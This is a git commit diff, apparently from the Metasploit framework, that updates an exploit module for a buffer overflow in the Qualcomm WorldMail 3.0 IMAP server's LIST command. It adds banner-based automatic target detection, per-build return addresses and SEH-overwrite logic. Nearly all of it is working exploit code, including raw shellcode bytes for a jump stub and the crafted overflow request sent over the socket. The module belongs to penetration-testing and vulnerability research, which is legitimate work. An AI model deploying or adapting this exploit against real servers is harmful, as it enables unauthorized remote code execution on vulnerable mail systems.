update targets, add auto_target functionality
git-svn-id: file:///home/svn/framework3/trunk@9012 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
756c981c2b
commit
7d45b8fdf0
|
@ -17,16 +17,20 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
Rank = GreatRanking
|
||||
|
||||
include Msf::Exploit::Remote::Imap
|
||||
include Msf::Exploit::Remote::Seh
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Qualcomm WorldMail 3.0 IMAPD LIST Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a stack overflow in the Qualcomm WorldMail IMAP Server
|
||||
version 3.0 (build version 6.1.22.0). Using the PAYLOAD of windows/shell_bind_tcp
|
||||
allows or the most reliable results.
|
||||
version 3.0 (builds 6.1.19.0 through 6.1.22.0). Version 6.1.22.1 fixes this
|
||||
particular vulnerability.
|
||||
|
||||
NOTE: The service does NOT restart automatically by default. You may be limited to
|
||||
only one attempt, so choose wisely!
|
||||
},
|
||||
'Author' => [ 'MC' ],
|
||||
'Author' => [ 'MC', 'jduck' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
|
@ -44,39 +48,71 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Payload' =>
|
||||
{
|
||||
'Space' => 750,
|
||||
'BadChars' => "\x00\x0a\x20\x0d\x7b",
|
||||
'BadChars' => "\x00\x0a\x0d\x20\x7b",
|
||||
'StackAdustment' => -3500,
|
||||
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'WorldMail 3 Version 6.1.20', { 'Ret' => 0x10022187 } ], # msremote.dll
|
||||
[ 'Automatic', { } ],
|
||||
[ 'WorldMail 3 Version 6.1.19.0', { 'Ret' => 0x600b6317 } ], # p/p/r in MLstMgr.dll v6.1.19.0
|
||||
[ 'WorldMail 3 Version 6.1.20.0', { 'Ret' => 0x10022187 } ], # msremote.dll
|
||||
],
|
||||
'DisclosureDate' => 'Dec 20 2005',
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def check
|
||||
connect
|
||||
targ = auto_target
|
||||
disconnect
|
||||
|
||||
if (banner and banner =~ /WorldMail 3 IMAP4 Server 6.1.22.0 ready/)
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
return Exploit::CheckCode::Vulnerable if (targ)
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
def auto_target
|
||||
connect
|
||||
|
||||
if (banner and banner =~ /WorldMail/ and banner =~ /IMAP4 Server (.*) ready/)
|
||||
version = $1
|
||||
ver = version.split('.')
|
||||
if (ver.length == 4)
|
||||
major = ver[0].to_i
|
||||
minor = ver[1].to_i
|
||||
rev = ver[2].to_i
|
||||
build = ver[3].to_i
|
||||
if (major == 6 and minor == 1)
|
||||
return targets[1] if (rev == 19)
|
||||
return targets[2] if (rev == 20)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# no target found
|
||||
nil
|
||||
end
|
||||
|
||||
def exploit
|
||||
if (target_index == 0)
|
||||
mytarget = auto_target
|
||||
if mytarget
|
||||
print_status("Automatically detected \"#{mytarget.name}\" ...")
|
||||
else
|
||||
raise RuntimeError, 'Unable to automatically detect a target'
|
||||
end
|
||||
else
|
||||
mytarget = target
|
||||
connect
|
||||
end
|
||||
|
||||
jmp = "\x6a\x05\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x2f\x77\x28"
|
||||
jmp << "\x4b\x83\xeb\xfc\xe2\xf4\xf6\x99\xf1\x3f\x0b\x83\x71\xcb\xee\x7d"
|
||||
jmp << "\xb8\xb5\xe2\x89\xe5\xb5\xe2\x88\xc9\x4b"
|
||||
|
||||
sploit = "a001 LIST " + rand_text_alpha_upper(20, payload_badchars)
|
||||
sploit << payload.encoded + "\xeb\x06" + make_nops(2) + [target.ret].pack('V')
|
||||
sploit << make_nops(8) + jmp + rand_text_alpha_upper(40, payload_badchars)
|
||||
sploit = "a001 LIST " + rand_text_alphanumeric(20)
|
||||
sploit << payload.encoded
|
||||
sploit << generate_seh_record(mytarget.ret)
|
||||
sploit << make_nops(8) + jmp + rand_text_alphanumeric(40)
|
||||
sploit << "}" + "\r\n"
|
||||
|
||||
sock.put(sploit)
|
||||
|
|
Loading…
Reference in New Issue